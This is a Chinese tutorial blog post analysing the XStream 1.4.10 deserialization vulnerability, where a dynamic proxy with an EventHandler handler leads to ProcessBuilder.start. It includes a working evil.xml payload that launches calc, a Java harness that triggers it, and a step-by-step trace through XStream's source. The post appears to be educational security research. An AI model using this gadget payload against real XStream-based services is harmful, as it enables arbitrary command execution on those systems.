首页 > 其他分享 >【Web】浅聊XStream反序列化本源之恶意动态代理注入

【Web】浅聊XStream反序列化本源之恶意动态代理注入

时间:2024-03-13 22:30:18浏览次数:37  
标签:Web 调用 浅聊 代理 XStream handler proxy 序列化

目录

简介

原理

复现

具体分析之前

我们反序列化了个什么?

XStream反序列化的朴素通识

具体分析

第一步:unmarshal解组

第二步:readClassType获取动态代理类的Class对象

第三步:调用convertAnother对动态代理类进行实例化

第四步:调用动态代理类方法触发invoke


前文:【Java】萌新的XStream反序列化常用api学习笔记-CSDN博客

简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然

原理

XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器。

该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法。

利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

复现

导入pom依赖

 <dependencies>
        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.10</version>
        </dependency>
    </dependencies>

exp

package com.XStream;

import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class Interface {
    public static void main(String[] args) throws FileNotFoundException {
        FileInputStream fis = new FileInputStream("evil.xml");
        XStream xStream = new XStream();
        Runnable r = (Runnable) xStream.fromXML(fis);

        r.run();
    }
}

evil.xml

<dynamic-proxy>
    <interface>java.lang.Runnable</interface>
    <handler class='java.beans.EventHandler'>
        <target class='java.lang.ProcessBuilder'>
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

具体分析之前

我们反序列化了个什么?

okok,wait wait wait!我们先不聊XStream反序列化的流程,不妨从结果入手,先了解我们最后反序列化得到了什么?

关注回evil.xml

<dynamic-proxy>
    <interface>java.lang.Runnable</interface>
    <handler class='java.beans.EventHandler'>
        <target class='java.lang.ProcessBuilder'>
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

做一个简单解读:

这段 XML 配置信息表示了一个动态代理对象,该代理对象实现了 Runnable 接口,通过 EventHandler 处理程序代理 ProcessBuilder 类的实例,并在调用代理对象的方法时执行 ProcessBuilderstart 方法来启动计算器程序(calc)。这种配置可以用于动态地创建代理对象并执行特定的操作。

总而言之,不难看出这段xml经过反序列化得到的是一个动态代理类,其handler为EventHandler,handler的target为ProcessBuilder,action为start。

【Java】小白必须要懂的关于反射的极简基础知识-CSDN博客

这篇文章的最后有讲到,ProcessBuilder.start会进行命令执行操作,不难猜测,EventHandler可实现任意函数反射调用(调用target对象的action方法),我们的期望就是通过动态代理一个接口交由EventHandler处理最后进行命令执行。

而动态代理类所执行的所有方法都会交由invoke来处理,所以我们只要找到靶机上存在方法调用的接口,就可以实现“动态代理注入”,也正是因此,exp里需要手动调用反序列化对象的interface里面声明的方法。(但必须要知道目标会调用哪个接口其实也是一种缺陷,我们在下一篇文章会予以解决)

XStream反序列化的朴素通识

①XStream反序列化简化来说就三步
MarshallingStrategy.unmarshal解组->调用HierarchicalStreams.readClassType获取待反序列化类的Class对象->调用convertAnother对该类进行实例化

②XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

我们这里利用的DynamicProxyConverter就是转换器的一种

具体分析

第一步:unmarshal解组

先是从fromXML开始跟进一堆unmarshal来到context.start

 

 

第二步:readClassType获取动态代理类的Class对象

跟进context.start,发现先是调用HierarchicalStreams.readClassType获取type(即待反序列化类的信息)

 跟进readClassType,发现取到classAttribute(类属性)为dynamic-proxy,且mapper为CachingMapper,调用CachingMapper#realClass

跟进CachingMapper#realClass 

这里要注意,elementName始终为dynamic-proxy,而mapper.realClass的逻辑是自子类向上到父类查找的,最终会走到DynamicProxyMapper#realClass(见下面一串图)

 

 

 

 

 

最后来到 DynamicProxyMapper#realClass,跟进

注意到elementName和this.alias是相等的,所以最后type取到的返回值就是DynamicProxy.class

 

可以看到取到type为Class@1256

第三步:调用convertAnother对动态代理类进行实例化

紧接着上面,我们将取到的type(Class@1256)传进convertAnother来进行实例化

 

这里简单跟一跟就行

converterLookup.lookupConverterForType()的逻辑是,迭代this.converter,直到找到能转换出DynamicProxy.class的converter,最终取到关键converter——DynamicProxyConverter,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象

 接着调用DynamicProxyConverter#unmarshal

这里直接放源码吧

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        List interfaces = new ArrayList();
        InvocationHandler handler = null;

        Class handlerType;
        for(handlerType = null; reader.hasMoreChildren(); reader.moveUp()) {
            reader.moveDown();
            String elementName = reader.getNodeName();
            if (elementName.equals("interface")) {
                interfaces.add(this.mapper.realClass(reader.getValue()));
            } else if (elementName.equals("handler")) {
                String attributeName = this.mapper.aliasForSystemAttribute("class");
                if (attributeName != null) {
                    handlerType = this.mapper.realClass(reader.getAttribute(attributeName));
                    break;
                }
            }
        }

        if (handlerType == null) {
            throw new ConversionException("No InvocationHandler specified for dynamic proxy");
        } else {
            Class[] interfacesAsArray = new Class[interfaces.size()];
            interfaces.toArray(interfacesAsArray);
            Object proxy = null;
            if (HANDLER != null) {
                proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, DUMMY);
            }

            handler = (InvocationHandler)context.convertAnother(proxy, handlerType);
            reader.moveUp();
            if (HANDLER != null) {
                Fields.write(HANDLER, proxy, handler);
            } else {
                proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, handler);
            }

            return proxy;
        }
    }

进行一波解读:

  1. 在方法内部,首先创建了一个空的接口列表 interfaces 和一个空的 InvocationHandler 变量 handler

  2. 接着进入一个循环,通过遍历 XML 的结构来读取数据。在循环中,首先判断是否还有子元素,然后移动到子元素,获取节点名称并根据节点名称进行不同的处理。

  3. 如果节点名称是 "interface",则将其对应的接口添加到接口列表中。

  4. 如果节点名称是 "handler",则尝试获取属性名为 "class" 的属性值作为处理程序的类型,并将其赋给 handlerType 变量,然后跳出循环。

  5. 将接口列表转换为数组,并使用 Proxy.newProxyInstance 方法创建代理对象 proxy,同时获取并实例化相应的 InvocationHandler

  6. 进行最终的代理对象的赋值,并返回代理对象。

总之就是对interface属性走了一遍第二步(获取Class对象),对handler属性走了一遍第二步和第三步(获取Class对象&实例化),最后实例化了一个动态代理类(关于handler中其他属性的还原道理是一样的,不再赘述)

得到的动态代理类如下:

第四步:调用动态代理类方法触发invoke

得到实例化类r之后,我们调用其接口(java.lang.Runnable)的已知方法run

如图

 成功触发EventHandler#invoke

跟进invokeInternal

 Method targetMethod = Statement.getMethod(
                             target.getClass(), action, argTypes);

取到targetMethod为handler的action属性,即start

target为ProcessBuilder,最终实现了对ProcessBuilder#start的调用,执行任意命令 

标签:Web,调用,浅聊,代理,XStream,handler,proxy,序列化
From: https://blog.csdn.net/uuzeray/article/details/136690493

相关文章

  • 复现反序列化
    1、复现shiro的反序列化漏洞,实现反弹shell2、演示渗透测试和打点的手段,说明二者的区别一个指定了资产范围,一个从公司名开始收集3、描述hw蓝方有哪些组,工作内容有什么监测组:看态势感知,waf,写日报判断告警是否为真实告警研判组:处置组:根据真实告警,防火墙封禁攻击IP溯源组:尝试......
  • Websocket服务监听收发消息
    1.pom依赖坐标<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId></dependency>2.项目配置端口和项目包名application.propertiesserver.p......
  • tomcat中虚拟主机以及web应用程序的配置
    一:新建虚拟主机1.在tomcat里新建文件夹myapps,在里面添加ROOT文件,放入网站的首页文件新建文本文档,输入你想要的内容我这里的内容是TOM.AI,把文本文档的名字改成index.htm2.server.xml下每个host节点就代表一个主机,相当于一个网站。用记事本打开tomcat的conf下的server.xml文......
  • Web3系列之1-MERLIN链Airdrop[BianXian]
    一、什么是Airdrop?Airdrop是指在区块链领域中,通过向特定的数字钱包地址发送免费的代币或加密货币的一种行为。通俗点说:Airdrop就是项目方赠送加密资产给用户的一种行为,用户将此资产bianxian,少则三四位数,运气好开多个小号多则五六位数。二、MERLIN链Airdrop教程https://www.......
  • 【Python使用】嘿马头条完整开发md笔记第1篇:课程简介,ToutiaoWeb虚拟机使用说明【附代
    嘿马头条项目从到完整开发笔记总结完整教程(附代码资料)主要内容讲述:课程简介,ToutiaoWeb虚拟机使用说明,Pycharm远程开发,产品与开发,数据库1产品介绍,2原型图与UI图,3技术架构,4开发。OSS对象存储,七牛云存储,CDN,缓存。缓存,缓存架构,缓存数据,缓存有效期与淘汰策略,缓存模式缓存数据的......
  • openfeign,webClient, restTemplate 忽略 ssl 证书
    0springboot版本<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.0.3</version><relativePath/><!--lookupparentfromr......
  • 黑马程序员JavaWeb(2023)课程学习过程中会遇到的操作小问题
    问题一:根据视频创建好的vue项目框架,在下次打开该项目时,在左下角未显示"EMP脚本",此时解决办法如下解决方法1:首先检查下图所示指向位置是否打勾(点击资源管理器右侧的三点),若没有勾上,勾上后即可看到左下角出现"EMP脚本"解决方法2:点击一下项目里面的package.json(如下图),即可解决......
  • JSON序列化之旅:深入理解.NET中的JsonResult与自定义ContractResolver
    在.NET开发的世界里,JSON已成为一种无处不在的数据交换格式。无论是WebAPI还是微服务架构,我们都经常需要将对象序列化成JSON格式,以方便客户端的接收和处理。今天,我想和大家分享一段关于.NET中JsonResult使用的代码,以及它背后的一些细节。这段代码来自于一个典型的ASP.NETCore应......
  • 【体验有奖】用 AI 画春天,函数计算搭建 Stable Diffusion WebUI
    人工智能生成内容AIGC(ArtificialIntelligenceGeneratedContent)是当下备受关注的概念之一,是继PGC和UGC之后的新型生产方式。AIGC技术的核心思想是利用人工智能算法生成具有一定创意和质量的内容。例如,根据用户的描述或关键词,即时创作出独特的艺术风格画像,实现个性化的艺术......
  • Python之Web开发中级教程----搭建Web框架二
    Python之Web开发中级教程----搭建Web框架二搭建虚拟环境虚拟环境的作用虚拟环境可以搭建独立的python运行环境,使得单个项目的运行环境与其它项目互不影响.搭建虚拟环境 (1)安装sudopipinstallvirtualenvsudopipinstallvirtualenvwrapper(2)配置环境变量1)创建......